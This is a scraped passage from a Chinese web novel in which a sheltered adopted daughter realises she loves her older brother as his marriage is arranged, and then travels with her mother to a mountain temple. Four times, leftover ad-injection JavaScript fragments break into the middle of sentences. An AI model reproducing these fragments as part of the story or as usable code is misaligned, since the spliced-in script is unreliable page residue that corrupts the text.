长兄对幼妹的呵护,大多时刻是无声的。 那碗姜汤被放在陆念安眼前,她顿了顿,在兄长鼓励的眼神下,抬手接过。 陆念安不喜姜汤的味道,姜是辣的,这总让她忍不住流泪,每每喝上一碗,她都需要缓很久。 这个雨夜,她强迫自己很快速得将姜汤灌下去,两眼被辣得泪汪汪。 然后她得到哥哥肯定的答复——他说他当然要阿念了。 姜汤流过胸腔,在缓慢扩散到血液中,最后回到屋中时,那股子辛辣竟席卷全身。 陆念安感觉自己越来越热。 此刻,秋菊正点着熏香,淡雅的香气隐隐弥漫开来。 陆念安深吸口气,最后朝角落里的柜子走去。 她拉开柜门,从柜中深处取出一个八宝匣子。 一个独处时,她也不太讲究什么,直接在地毯上坐下,然后抬起手,小心翼翼地将木匣子打开。 匣中放着一盏已经泛黄的花灯,是最普通不过的莲花形状—— 被主人家如此妥帖,且珍惜保存的物件,好像也没什么特别的。 可这是哥哥送她的第一个生辰礼物。 那年寒冬,他亲手替她做了灯。 * 陆念安是五岁时才被接来了陆府,照理来说,她应该记得许多从前的事情,可她像极了张白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纸,呆傻的样子,问她什么她都摇头。 问她生辰,她也摇头。 彼时寒冬,她刚来陆府,生了场重病,大病初愈以后,身边的人被全换了一遭。 新来的秋菊伺候她开始小心翼翼,因为上头的主子让秋菊汇报每日做了何事。 不光要听她做了何事,还要听小姐的反应。 那段时间,秋菊快都得了少白头,闲下来就想晚上该说些什么——是她家小姐太乖了,乖到一整个白天,她可以一句话也不说。 于是秋菊夜间汇报时也无话可说,她只得没话找话。 陆念安只是多看了一眼旁人的花灯,秋菊便连着说了三日。 原是上元灯节要到了。 府上也有年纪还小的丫头,那个年龄的孩子,总是向往高墙之外的世界,好奇新鲜的事物。 临近灯节,有小丫鬟陆续用掉积攒的月银,然后从摆摊的小贩手中,买一盏漂亮的花灯回来。 上元节一直是一年之中,人们最期盼地节日。同春日除旧迎新的美好寓意不同,上元节又名花灯节,当然,她也有一个更浪漫的寓意—— 祈愿之夜。 辛苦一年以后的百姓,在冬日末期,在即将开启劳作的春天以前,选择用放花灯的方式,朝天上的神仙许愿。 这天夜幕降临之际,一盏盏明灯被点燃飘去上空,人们目视着这灯,真挚的愿望也随之飘远,被寄托去离月亮最近的地方。 可后来飞去月亮的灯实在太多了,有人担心神仙眼花缭乱,便又将这灯制成漂亮的小花,祈愿这些明亮花朵,能顺着河流飘去远方,被下凡来人间的仙子瞧见。 久而久之,上元节成了花灯节,上京也成了座不夜之城。 那时秋菊连着说了三日,陆祈也连着听了三日,于是上元灯节,他将她胆怯的妹妹领出去看灯。 那日人潮熙攘,陆祁需牢牢牵着妹妹的手,才不至于让她被人群冲散。 那时陆念安还不知道这一天是灯节,只是有些好奇地左右盼望着。 那些灯闪着,像星星一样亮,陆念安由哥哥牵着手,感受到一种前所未有的安心。 但也只走了一会儿。 她实在是太纤弱了,没多少力气,累到走不动时也不会说话,只抬眸盈盈看着他。 这一夜其实有很多收获,比如陆祈有从妹妹眼中看见许多新鲜情绪。 喜欢,祈求,不舍,期盼…… 她果然喜欢这些灯。 在一年只有一次的上灯节夜晚,陆祁半下弯腰,大手穿过妹妹臂弯,最后压在她脊背的位置。 他骨节很硬,却也结实,没有犹豫就能将妹妹稳稳抱起。 这也是一个极度纵容的拥抱,陆念安双脚离地,被哥哥抱进怀中,双手顺势搭在哥哥肩侧,整个人拉高了许多。 有人羡慕地指过来。 陆念安的双眸中便又多了一种情绪,是新奇。 她看那些孩子齐齐望过来,不明白怎么忽然之间,自己就变成整条街上,最受人羡慕的女孩。 这是一个意犹未尽的夜晚。 直到回到家,陆念安仍想着那些灯,她盯着夜空出神,发呆的对象多了一处。 第二日夜晚,陆祈再次来到北院,送给幼妹一盏极其漂亮花灯。 陆念安抬眸看他,看着这个才多出来不久,其实并不亲的哥哥。 但她却呆呆问道:“阿念想和哥哥永远在一起。” 她很少开口说些什么,陆祈难得一愣。 缓过神以后,他弯腰同她说话,一边摸她脑袋,一边轻笑:“行啊,我们阿念再说一遍,哥哥就答应你了。” —— “小姐怎坐在地上?”秋菊回过神时,匆忙跑来扶她,这声音使得陆念安迅速从回忆中抽离。 陆念安很快将八宝匣子合上,木制与木制碰撞发出清脆的响声。 11. 第 11 章 陆念安小心翼翼地将八宝匣子放回原处。 一场雨而过,室内光线黯淡,秋菊翻出火折子,将烛芯点亮。 许是瞧出陆念安此刻的不对劲,秋菊没有问什么,先备水给她沐浴。 沐浴完,陆念安换好寝衣,像往日一样缩进裘被之下,烛光落在床侧,她正将自己一点一点遮起来。 那股别扭的劲儿同以往有一次很像,秋菊看在眼底,心下叹气。 转头找了个小木椅,秋菊在床侧坐下,唤她:“小姐?” “在呢。”陆念安的声音透过裘被传来,显得闷透了。 “可是在想那崔氏?”秋菊直觉她是因为今天的事情而不对劲。 在没来陆家以前,秋菊也有一个哥哥,少时懵懂,她其实也有过害怕,也想过若是和嫂嫂相处不来该如何? 想到这里时,秋菊努力开导:“小姐别怕,那崔姑娘应是个好相处的。” 寂静屋内,布料与布料摩擦发出细微声响。是陆念安将头探了出来,她一双眸子在灯下盈盈闪耀,直愣愣看着秋菊:“秋菊可是见过她?” 秋菊哪里见过,笑着摇头:“但我方才听嬷嬷说,那崔氏性子很不错呢。” “崔家祖上是清州的,小姐你不是很喜欢李老师吗?嬷嬷说那崔氏就和李老师一样,说话又轻又慢,性子是温温柔柔的。” 这话落下,陆念安默默躺回去,肉眼可见地更加挫败。 秋菊还在继续说:“所以性子应也是个好相处的,嬷嬷见过她一面,也夸了她好几句稳重。” “……”过了好一会儿,陆念安没什么精神地开口,声音却更闷了:“那哥哥应是会喜欢她的。” 记忆里闪过无数个画面,海棠花树下,书房一角,又或者下着雨的长廊边,哥哥好像时常无奈,总是会对她说——阿念该沉稳些了。 阿念该如何沉稳? 陆念安突然多出许多烦恼,心脏一抽一抽疼,她此刻并不明白这是什么,只是不喜欢,她尤为不喜欢这种感觉。 “秋菊,你说哥哥会更喜欢我还是她呢?”她忽然问到,脱口而出,连自己都没反应过来。 喜欢这两个字就这般自然而然的说出口,陆念安眨眨眼,感受到心跳正在一点一点地加快。 许是那姜汤的后劲太大,她忽然觉得自己特别热。 陆念安干脆将裘被踢开,坐起身来,她靠在架子床一侧,缓慢躯起双腿,然后用手臂圈住,下巴抵在膝盖上,缩成一团。 也不知被锦衣玉食娇养长大的小姑娘,是如何有这么多烦恼的? 秋菊看着她直直叹气:“小姐,这怎么能一样呢?” 夜晚的屋内平和,陆念安听见秋菊轻笑起来,似乎是在嘲笑她这个问题。 她不懂:“哪里不一样?” “这如何去比呢?”秋菊见她实在懵懂,心道夫人其实该给小姐请个嬷嬷了,只能努力解释:“对亲人的喜欢,对妻子的喜欢,这就是不一样的,如何去比?” “为什么不一样?”连陆念安都觉得自己开始无理取闹了。 “因为亲人是亲人,妻子是妻子。” “不过公子肯定还是喜欢小姐多一些。”秋菊默默补充。 “是吗?”陆念安摸着心口的位置,隐约意识到自己是何处正在难受。 此时夜风柔和,今夜的屋中有些闷,秋菊将木椅放回角落,转过身,抬手支起来窗户。 夜色缱绻,时候已不早了,秋菊用剪子剪掉灯芯,打算让她自己静一静:“小姐先歇一歇。” 陆念安点头,乖巧地模样,却未曾移动。 她努力抓住心底的那一丝难受,就这般迷糊熬了许久,月光落在床侧,她看着那抹银白色,就是觉得不舒服。 可能秋菊说得对吧,对妹妹的喜欢和对妻子是不一样的。 妹妹是曾经最亲密,长大以后却要疏离的存在。 可她对哥哥的喜欢始终如一。 哥哥是曾经最亲密,长大以后也要同样亲密的存在。 * 没几日,绣房里送来新制的春衣时,连带着将夏衣的花样也拿来了。 制衣的嬷嬷是细心性子,将那些纱绢绸缎一层一层的叠好,都是时下最新盛的料子,光泽细腻,触感柔软,是很轻薄的布料。 当陆念安用指尖滑过柔软的轻纱时,她忽然发现,这个春天竟然就要过去了。 一时间难免多想,嬷嬷见她出神,却是误解了意思:“若是绣房送来的花色小姐不喜,过几日还有一些月华锦,到时小姐在挑些喜欢的也好。” 月华锦在花色的选择上更繁复多样,但同时色泽要黯淡些,这样的颜色更显沉稳,一般来说,更得已出阁女子的青睐。 “今年夏衣怎要制这般多呢?”陆念安心不在焉,随口问道。 方才嬷嬷拿过来的花色便不少,纱罗绸缎,软烟绢锦,她已经看花了眼睛,确实未想到之后还有。 嬷嬷同她解释:“是公子和夫人交待的,说是要备一些,想来等那崔氏过门以后在准备,是有些晚的。” 崔氏。 她最近好像时常听见这二字,陆念安抵在软纱上的指尖微颤,下意识皱起眉来:“那哥哥是也要给崔氏制新衣吗?” 小姑娘家声音娇气。 嬷嬷也是有孩子的年纪了,听见这声稚气地不满,一时间想起自己家的孩子:“这订婚呢,需要的东西可多着呢,锦罗绸缎当不能少,金银玉石也不能少,不光是要备新衣,还得很细致地将所有所有物件一一备好,是要提前许久来备的……” “那阿念呢?”陆念安喃喃自语:“阿念还有新衣穿吗?” 嬷嬷被她问得茫然,她是绣房里的老人,这些年一直只替陆念安制衣裳,也将她当成了半个孩子,忙止住话头:“小姐自也是有的呢。” 木制托盘上,精巧华贵的料子被摆在一起,过几日还会多出一部分月华锦。 陆念安才反应过来自己问出了什么问题,懊恼地低下头。 “那小姐在看看这花色……”好在嬷嬷并未在意她那句话,重新絮叨起来。 陆念安听她说话,听得很认真。 午后的阳光无比温暖,她一边听着,慢慢的心不在焉起来,转而望着西院的方向——方才是她第一次完完全全的意识到,娶妻到底是何意思。 是哥哥替她准备的新衣,也会妥帖地给妻子备好,是哥哥从宫中带回的首饰,也要给妻子备一份,他们会成为这世间最亲密的人。 可是陆念安不想要这样。 送走了绣房里的嬷嬷后,室内陷入了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一种微妙的安静,只偶尔传来秋菊整理春衣时,发出的沙沙声。 这样的寂静,总给人几分难以忍受地孤独,陆念安忽然很想很想兄长,于是翻翻找找,最后找出来一本册子。 “小姐今日要写诗?”秋菊感到意外,忙放下了手中的活,过来给她研磨。 不怪秋菊惊讶,陆念安本就不是能静下心的人,少时的每一次功课,她都要拖上三五半个月才慢悠悠开始。 * 已经是五月末期了,杏花落败,随着夏季的来临,府上也热闹了许多,时常能看见捧着托盘的丫鬟。 陆念安已经换上了轻薄罗衫,她这几日都认真写诗,一改往日的懒散,态度反常。 最后她捧着书册,抬步去了西院。 书房内总是一片墨香,泛着浅浅地苦,推门而入时,那股子香气萦绕而来,是熟悉的味道。 陆祈正执笔写些什么,此刻被打扰,他未曾不耐,反而放了笔,抬眸朝门口看去。 陆念安站在门的一侧,背着光,她今日穿着水蓝色长裙,这颜色将她皮肤衬得更为白皙。 “阿念?”他的声音柔和,缓慢。 而她是乖巧地模样,手中捧着一本诗集,唤他:“哥哥。” 陆祈让她进屋,又起身替她将角落里的椅子拿来。 陆念安个子要比同龄人娇小些,在兄长的书房这,她有一把属于自己的,更小巧精致的圈椅。 是陆祁开始教她功课以后,亲自找人做得。作为兄长,他总是细致妥帖,处理好有关于妹妹的一切。 回过头时,却见妹妹自顾自坐在了自己的圈椅上。 陆祁反应过来,他收了手,抬步走去,随意将那诗集翻开:“我们阿念今日写了什么诗?” 只是很平常的一声问候,陆念安却莫名开始紧张。此时书房静谧,她垂眸,等待哥哥看诗的时间里,她意识到身下的椅子竟还泛着浅浅温度。 是属于哥哥的。 她脸颊泛起薄红,但少时同哥哥睡在同一张床上时,被哥哥揽在怀中写字时,她都没有脸红过。 这时耳边又落下句阿念,是平缓的男声,是他一贯叫她的语调,陆念安却被吓了一跳。 她一贯隐藏不好心事,此刻也不例外,浑身一颤,竟从这圈椅上滑落下去,额头随之撞上了木桌边沿。 皮肉与木头磕磕的声音实在惨烈,陆念安着实磕懵了,泪花下意识往外冒。 是陆祁先反应过来,他放了诗集,有力的骨指落下,抬手将她拉起。 他面色并不好看。 方才她的欲言又止,陆祁其实都看在眼底,又或者说,从她捧着诗集进屋的那一刻,他就知道她有话要说。 她是他看着长大的幼妹,少时连如何开口说话都是由他教的,陆祁怎会看不出她的不对劲。 可他留给她时间开口,并不是让她话还未说,便先磕出个伤口来。 陆祁蹙眉,粗粝地指腹压在她额头上,微微下压。 陆念安当即疼得一抖,眼泪瞬间哗哗往外掉,抬眸可怜巴巴地看着兄长。 陆祁有意让她长个教训,指腹仍落在她额头的位置上,半响过后,却收了回去。 “罢了,”陆祁见她藏着心事,转过身走去一旁:“哥哥先替阿念上药。” 12. 第 12 章 书房内很安静,陆祁拿起药膏往回走时,背光压下的黑影将陆念安完全笼罩住。 他身侧有一股很清冽干净的味道,像是在雨后的寺庙里焚完香,柔柔的。 陆念安看着他,一时间有些紧张,指尖也不安地压在水蓝色裙摆之上,她感受到一种很强烈的痒意。 当一个人感到紧张时,所有的感官都会逐渐放大她,陆念安低声道:“哥哥,伤口有些痒。” 与此同时,她试探性伸出指尖。 陆祁便抬手落下,压在她右肩的位置。 他轻轻用力——骨指长而硬,将她掰正以后,才平静警告:“阿念,别乱动。” 他惯是严谨板正的性子,做一件事情时,眼底便容不下一丝瑕疵。此时卸下力道,用沾着药膏的指腹落在陆念安额上。 陆念安生得白,甚至娇气到连太阳都没怎么晒过,白皙面庞上,那红印发肿。 而因为哥哥的警告,她僵直坐着,几丝碎发散落下来,滑落在她耳侧。 陆祈便替她将散落的发丝抚至耳后,他没有放开她的手,只是告诉她今日不要在触碰伤口了。 午后暖光将他轮廊虚化,意外称得他很柔和,连白衣都好似发着光。 陆念安听着他细碎的叮嘱,心下的紧张渐渐被扶平,转变为另一种很奇怪的感觉,这是在曾经绝无仅有的。 而药膏很快覆在她额间,是冰凉的,伤口处的痒意淡化,陆念安却想,还是难受。 她垂眸看着替自己上药的那手,因为抬手的动作,白色袖摆往下一寸,露出一截手腕来,他腕上有青筋凸起,这青筋一直延伸到手背。 不多时,陆祈替她上完药,他退至背阴的一侧,低垂眸神色平静。此刻执一块方帕,漫不经心地擦拭着指腹。 那手帕严丝合缝地同他接触。 “阿念也有手帕。”陆念安眼睛明而透,手中变出一块小小的粉色绸帕,帕上绣着姑娘家喜欢的小花。 这是她最喜欢的一块帕子,此刻她将它递给兄长,希望他也能喜欢。 陆祈看了她一眼,很快接过,长指翻动,却是将手帕叠好,重新递给她。 他动作顺畅自然,仿佛已经做过千百遍,这是兄长对妹妹的照顾,是不参杂任何杂念。 “阿念,收好自己的东西。”他用哥哥照顾妹妹的语气说。 陆念安没接,她还是仰起头看她,不太甘心地目光,闷了好一会儿后,低声解释这是要给他擦手的。 “竟是哥哥误会了。”陆祈轻笑了声。 有一刻他不知如何形容这种感觉。 这么多年以来,都是由他来照顾妹妹的,现下角色调转,她忽然懂事了。 若是从前,陆祁自是将手递过去,大抵还要再夸她一句懂事,可妹妹似乎又懂事地太晚。 她长高了,从瘦弱变得纤细,乌发很长,陆祈静静看着她,过了好一会儿,他才将手递过去,落在她面前,语气平常地感叹:“我们阿念长大了。” 陆念安的指骨匀称,却是软的,手心也很小,几根手指同时落在男人拇指上,上下擦拭着,动作越放越轻。 “哥哥,”她努力得到他的夸奖:“你会疼吗?” 她想起每一次,哥哥替她上药时,也会将动作放得很轻。柔软无骨的掌心贴着他骨节,缓慢移动。 陆祈却蹙起眉,水蓝色裙摆之上,妹妹颈侧肌肤白的发光,他忽然想到过犹不及这四个字,又想到她前日里的及笄礼。 她始终是长大了。 “阿念很乖。”陆祁便轻轻抽出手,哄了她一句。 白日的书房,两扇窗户都支起来,室内光线明晰,是素净雅致格局。 他已经不在看她,转过身走到书桌旁——那红色信封在雅致的屋内,成了别样喜庆。 “这是什么?”见哥哥拿起这信封,陆念安黏着他,凑上前问。 陆祈没有说话,只是用行动回答她。他撕开封口,从红字信封中取出一张红色的小纸,而红纸黑字上,只一行规矩工整的小楷字。 ——崔涵,天干地支甲乙木 陆念安其实不懂这些个字,只感受到额头隐隐作痛起来,强撑着又开口:“哥哥要这个干什么?” “吱呀”一声,这时身侧的门忽然间被拉开。 陆念安没有得到兄长的回答。 身侧是青竹推门而进,他显然刚从什么地方赶来,衣袍有些凌乱,转过身看见她,有些意外,但很快也恭敬道:“小姐。” 此时门窗同时敞开,日光散落在白色衣袍间,明亮地有些刺眼。 青竹问陆祁要不要再准备些什么。 “不用,”陆祈只将红纸递过:“拿去母亲那儿罢。” “大人,清平那边近日里要多出了许多流民。” 清平离上京只一座山的距离,南下水灾之后,许多百姓徒步往北边赶,算了算时间,这几日是有些麻烦事要处理的。 陆夫人年年都在这个时间往寺中赶,只今年不巧,时下局势有些不安,让青竹也担心起来,便多问了一句。 陆祈很快将局势看透,当下淡声道:“若是母亲执意要去,便少备辆马车,暗处里派些人跟着。” “好。” 两人的交谈就这么结束,快到陆念安还没听懂,青竹就已经退至门外,抬手小心翼翼地将门合上。 屋内就重回寂静,那本写了几日的诗集还放在一旁,红色信封落下,同诗集摆在一起,是规矩的整齐。 这寂静未维持多久,屋内便传来女孩清脆的声音:“哥哥,阿娘又要去寺里吗?” 陆祈正抬手替她将领口抚平,解释道:“大抵是要定下亲事了,照母亲的意思,还要挑个吉日。” 他语气随意,好像不是在说自己的婚事,但又意外的笃定。 这一瞬,陆念安眼眸忽得就红了。她想到阿娘会带着崔氏的八字去寺中。 做了十多年兄妹的两人,朝夕相处,都互相了解着。来时的雀跃,在此刻已经被一点一点压下,陆念安想,她竟忘了哥哥愿不愿意。 她对哥哥的喜欢如一,她不想要哥哥替别人选布料制新衣,同样不想要他将心力分出一丝给旁人。 一丝都不行。 可她忘了问哥哥愿不愿意。 陆念安犹豫了。 兄长教她写得第二个词,是后果。 三月里的春天,杨柳依依,彼时因为布置的功课未做完,陆祈罚她多背了一首诗。 七月正夏,因为贪睡错过早膳,陆念安连吃了一礼拜的白粥。 十二月寒冬,又练剑时不够用心,他罚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她靠墙站半日。 从小到大,这些不轻不重的惩戒,足让陆念安牢牢记住这个词。 她甚至估摸出做了何事对应着何事的惩戒。 只喜欢无法估计。 喜欢是只要一意识到,就通红的双颊,炙热的体温,无法控制的心跳加快。 和一旦说出口,便有可能会远离她的哥哥。 * 夜半三更天,整座上京都静下来了。陆家的门边,却灯光明晰,三辆马车靠着墙面依次停好,而马车一侧,站着五个丫鬟四个小厮,手中皆提着一盏灯笼。 步转回廊,夜间的风轻轻掠过时,陆念安薄纱一样的裙摆也随之散开。 她指尖处提一盏灯,长发搭在肩侧,此刻匆忙赶来。 身后跟着的是秋菊和莲叶,两人各自捧着一个小包袱,夜半三更,一行人收拾完好。 陆念安提着灯笼止步,唤了一声母亲。 夜风凉丝丝,陆夫人意外地看着她,上前一步,抬手落在陆念安单薄的肩侧:“阿念怎来了?” “念念想和母亲去寺里。”陆念安拢了拢衣袖,她轻声解释自己的来意,提灯的指尖在深夜里泛着莹白。 陆夫人是每年夏季,都要去山中礼佛的,这习惯保持了十多年,从未变过。 陆念安从前也听母亲说过清平寺。 她知道清平寺是在一座高高的山上,从上京出发,要连着赶一日的路。而深山之中,会有许多许多的台阶。 母亲还同她说过,心诚则灵。 陆夫人是真真切切信这句话。去往寺中的这些年,她从不在清晨亦或是午后出发,只挑在夜半三更天,挑在最让人难受的时间点。 因为陆夫人同样相信,苦难才是一个人最诚心的证明。只有苦难是能被真真切切看见的。 但诚心归诚心,她到不强求孩子们一起受苦,此时皱眉看向陆念安,面色严肃:“念念,这不是闹着玩的。” 陆念安平日用得是最好的罗绸,贴身之物是用蚕织起来烟罗而制,屋中最普通的琉璃杯是西域进贡…… 女孩子并不好养,但这些年来,她兄长将她养得极好,性子就难免便娇气了些,冷不得热不得,一受委屈会悄悄抹泪。 陆夫人的千言万语最后化为一句话,阿念是受不了苦的。 “我可以的。”陆念安只好为自己辩解,指尖扯着陆夫人袖子,很轻很轻地晃荡。 女孩子的声音也深夜里又甜又脆:“阿娘,我想去的。” “我想去寺中,阿娘常提起佛广大师,我也想见她一面,也想陪母亲一起抄经,念念知道上山要走许多台阶,也知道山上……” 她一口气说了许多好话,说道最后,连陆夫人都感受到她一颗真挚的心。 “同你哥哥说好了?若是连你哥哥未同意,阿娘如何带着你?”陆夫人无奈,只好拿出陆祈来压她。 陆念安点头:“阿娘你尽管去问,哥哥都应下了。” 她声音在寂静深夜中,是无比的笃定。 这其实只是很平常的一个夜晚,夜风微凉,月色柔和,灯笼散开的光芒将小范围照亮。 陆念安提灯往前走,当下做这个决定时,她其实没有想过之后,只是本能性的,想离哥哥远一些。 她怕她忍不住开口。 13. 第 13 章 清晨的山间小路,宁静幽深,偶尔能听见飞虫在鸣叫。 马蹄踏过石子,正沿着弯曲的小路前行,陆念安双脚踩在硬木板上,肩侧盖着柔软的小毯子,小脑袋也随着车一晃一晃。 这才赶了半日路,她已经对母亲口中的“苦”有了实感,局促的空间内,她揉着脖子,困倦却没有睡意。 直到清晨的第一束光穿过丛林透下,马车缓缓停了,陆念安拉开车帘,探头往外开。 丛林之中有着茂盛的绿意,大片大片不知名的叶子舒展开,雾气将他们熏得湿润极了。 莲叶的裙摆擦过绿叶走来,绿叶上一滴露珠滑下,落在她素色鞋履上,莲叶未曾注意到,只是仰起头看车上女子:“小姐,夫人说是让您下来歇歇。” 陆念安便露出一种很苦恼的表情,一边走下马车,一边叹气。 其实在此以前,她从来不知自己这个毛病。 今日晨时,前车那边送来提前备好的点心,是夜间做好的,都还新鲜着。 甜香气散开,陆念安尝了一口,当即却想吐,明明又饿又困,身体却试图阻止她进食。 直到现在,马车停下,陆念安靠着古树歇息,嗅到山林中新鲜的空气,才食了块糕点。 陆夫人也下马车看她,雾气之中,陆念安面色惨败,额上未消退的红肿更衬得她可怜兮兮。 她怕她吃不消,上前宽慰:“念念,现下还未出山,若是实在难受,绕头回去也好。” 陆夫人又同她说,若是现下不走,等过了这座山在绕回,又得折腾一遍,实在是受罪。 晨中水汽湿润,陆念安咽下糕点,正舔着干涩唇瓣。对于母亲的这话,她有过一瞬间的心动。 犹豫间,陆念安仰头看天,身处在茂密的丛林时,她是那么的渺小,强撑着困意时,也没时间去想别得。 可若是绕头回了陆府,在锦衣玉食堆里,她会时常念起哥哥。 她已经不是不知事的姑娘了。 及笄以后,哥哥时常同她说要保持距离。 原来人的思想真的可以潜移默化的改变,那些当时不当回事的话,但说得多了,她潜意识里还是完全记住。以至于到现在,惊觉那是喜欢以后,陆念安现在的想法已经变成—— 哥哥同妹妹不可以亲密。 完蛋! 她变成了一个大逆不道的妹妹。 这可如何是好呢?陆念安咬了一大口糕点,侧过头看向陆夫人,轻声回答:“阿娘,我不想半途而废。” 陆夫人看着她苍白的脸,有些意外。 在山下只歇息了一会儿,三辆马车再度上路,天光大亮,雾气逐渐散开以后,偶尔会传来几声鸟的鸣叫。 马车内重新摇晃起来,陆念安的脖子又酸又疼,她只好将披在肩侧的兔毛摊子叠起来,规整地放在塌上,又将头缓缓靠上去。 终于睡了过去。 在醒来时马车已经停下,四周静悄悄的,重回黑暗以后,一切都是那么沉静。 陆念安拉开帷帘下了马车,便被密不透风的黑包裹,她有些害怕这黑夜,忙唤了两声秋菊,却没人应她。 沉静的山下,只有月光凉凉落下,仰起头,面前是一座高山,她孤零零一人,觉得很冷。 “小姐醒了?” 等了许久,这黑暗之间,才终于有了一丝光亮,秋菊捧着灯烛跑来,另一手提着灯。 她停下,将手中的灯出去,暖光将陆念安的一张脸照耀地明晰,她脸上的恐惧同样清晰可见。 秋菊才发现她的不对劲,一连唤了她好几声。 “母亲呢?”陆念安回过神,有些疲倦地揉了揉额头。 “夫人在山下歇着,方才是看小姐还在睡,便没忍心打扰小姐你。” 原来这时已经到了清平山下,凉风拂过,吹起裙摆的同时,带来一股浅淡的香火气。 陆念安贴着秋菊一起走,那架势黏人得紧,没走一会儿,到了一处亭子,这是山上的师傅为前来礼佛的香客特意修建的。 亭子的五个角落都挂着灯笼,夜色浓而深,这一处地方是难得明晰。 亭子正中摆着张桌子,陆夫人坐在一侧,面前是两位陌生女子,三人大抵是聊了一会儿了,嘴角边都挂着笑意,氛围融洽。 听见动静以后,陆夫人转过头看来,笑意加深,她道:“念念醒了?” 这声音落下的同时,陆夫人身旁的两位女子也一齐转过头看来。 陆念安提灯,踩着月光往前,水蓝色裙摆同月光融在一起,温和恬静。 “小姐,”这时秋菊轻声同她道:“是崔家夫人和小姐,也是前来礼佛的,但夫人没说是约好的还是碰巧。” 陆念安此时已经走到亭子正中,忽地听见秋菊声音,一时间没反应过来,茫然停下,站在原地。 她连着赶了一日路,本就惨白的脸上多出许多倦意,乌发搭在肩侧,柔软顺滑,在外人看来,仍是个极漂亮的姑娘家。 只反应有些迟顿了,眼神也呆呆的,瞧着不太灵光,见着人了也不知道叫。 “念念,”最后是陆夫人起身将她揽过来:“这是崔家夫人和姐姐,来叫人。” “好……” 陆念安不太自在地进了亭子,此时双眸落在崔夫人和崔涵身侧,下一瞬就移开目光,乖巧唤道:“崔夫人和姐姐好。” “这就是念念呀,”崔夫人细细瞧着她,语气和蔼: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “念念今年多大了?” “刚及笄。” 崔夫人回头同陆夫人笑:“瞧,还是个小姑娘呢。” “是还小,平日里娇气的很,稍不注意就倒下。”陆夫人捏捏陆念安手腕:“你瞧瞧她瘦的。” “我家涵涵小时候也体弱,也是三天两头就要吃药,我家那边存了一个方子,改名儿也拿给你试试。” 崔夫人是个热心肠,她口中的涵涵,便是坐在一侧的崔涵,她年芳十八,相比如陆念安,已经是个大姑娘了。 到底是年长了三岁,崔涵自有一番规矩,当下人提着茶壶过来,她主动抬手接过,站起身替长辈们沾茶。 今日来寺中,她穿得极素净,灰色长袍,一根发簪将长发挽起,仪态端庄,眼眸间有淡淡愁意,瞧着便是个好性子。 陆夫人也是见着她本人以后,才道出几分满意来,她原是还想着林家那个,今日一瞧以后,又觉得这姑娘养得极好,也不错。 崔涵也给陆念安倒了杯茶,这茶是晨日里的露水泡制,入口有淡淡的甜意。 “念安妹妹你试试。” 茶杯递过来,陆念安双手接过,比起崔涵大方得体的仪态,她局促的模样,到不像是陆家能养出来的孩子。 陆念安在崔涵期待的目光下,抿了口茶。 ……苦得要命! 但陆念安怕丢人没敢说,她点点头,学着兄长往日品茶的模样,柔声道:“还不错。” “你喜欢就好,”崔涵也呼出口气,如释负重:“这是我极喜欢的茶,这个春天,我还特意去东山采摘了头茬嫩叶,明明采了一天,炒制完却只剩下一点,方才怕妹妹不喜欢,我还有些担忧。” 她说话,陆念安便一直看着她。崔涵说起自己采了一天时,面色是苦恼的,但说起是自己炒制时,眉间又洋溢着自信。 “你还会采茶吗?”听完这话以后,陆念安是真情实意地夸赞:“你怎么这么乖啊,我什么都不会。” 她又想,兄长就很爱喝茶。 当下陆夫人和崔夫人一同交谈的,两个姑娘家便坐在一侧,也互相了解着。 听见陆念安这句夸赞以后,崔涵嘴角地笑意微僵:“不算什么难事。” 想了想,她又道:“我平日里没什么爱好,就爱收集些茶,念念可有喜欢的茶?” “我喜欢用苹果和橘子还有玫瑰花瓣一起煮茶,”陆念安舔舔唇:“要加冰糖和蜂蜜,八月间还可以加桂花,甜丝丝的可香了。” 崔涵:“……” 她眉间蹙起不悦的弧度,很快压下来,重新审视陆念安时,只觉她实在不像是陆家能养出来的姑娘。 怪不得她同陆家人没有血缘关系。 14. 第 14 章 夜行山路,本就困难,前日一场雨而过,石阶小路,变得又湿又滑。 去寺中要走几千级台阶,陆念安在山下换了更素净的步履,连长发也高高束起。 一行人提着灯,明亮的暖意,给孤寂山林中带来一丝鲜活。可惜陆念安没走过山路,慢慢掉在了人群的最末端。 好在有秋菊和莲叶陪着,她没有感到害怕,只是感受到了一种沉重。每抬步往上走时,脚底的酸疼便缓慢往上延伸,本是凉幽幽的夜晚,她却出了一身热汗。 终于走到山中央,寺里的师傅在这一处也修建了亭子,两个丫鬟见她实在不适,便提议要在此处歇一歇。 瞧陆念安还有些犹豫,丫鬟秋菊叹声气又道:“小姐,既是累了便要歇一歇,夫人也说让你慢慢来,何至于追这么紧呢?” 陆夫人来礼佛是祈福,也是习惯,她早已经适应山中环境,只告诉孩子们慢些来,不必强求。 “那便慢些吧。”陆念安双腿颤抖着,她进了亭子,又叹声气。 停下时,终于有了心情环顾四周,陆念安从半山腰往下看,看见方才山下的那亭子,变成了很小一点。 原来她已经爬到这般高了。 歇息一会儿后又继续往上走,不知走了多久,无边的黑夜之中,传来了些人气。 “是夫人吗?”秋菊也听见了那些声音,低声嘟囔了句。 远处有零星的火光,走得近了,那光亮越来越明晰,连着一片都是亮堂的。人群嘈杂,谈话的声音也变得清晰起来。 陆念安仰起头,最先映入眼帘的是一座古庙。古庙用红墙黑瓦堆砌起来,屋檐边用珐琅镶嵌了一圈花纹,是彩色的。 这就是清平寺了吧? 她还没来得及呼出口气,又看见寺的一侧,乌压压挤了一片人。那些将寺庙的大门堵住,方才发出吵闹的也是他们。 局势竟有些混乱,人挤着人堆中,勉强能看清几个穿着僧衣的方丈。 但天还未亮,再多的便看不清了,陆念安心下茫然,不敢再往前。 当她害怕之时,陆家安排的暗卫便显露出几分作用来,他们身穿黑衣长袍,手执一样的长剑,突然现身。 陆念安看着这些人,下意识退后一步。 这些人是什么时候跟着她身后的?是哥哥吗? 却没有时间给她细想,这群暗卫护着她往里走,越往前越亮堂,那一片火光都快要将山顶照亮,使得陆念安能很清晰地看着那些人。 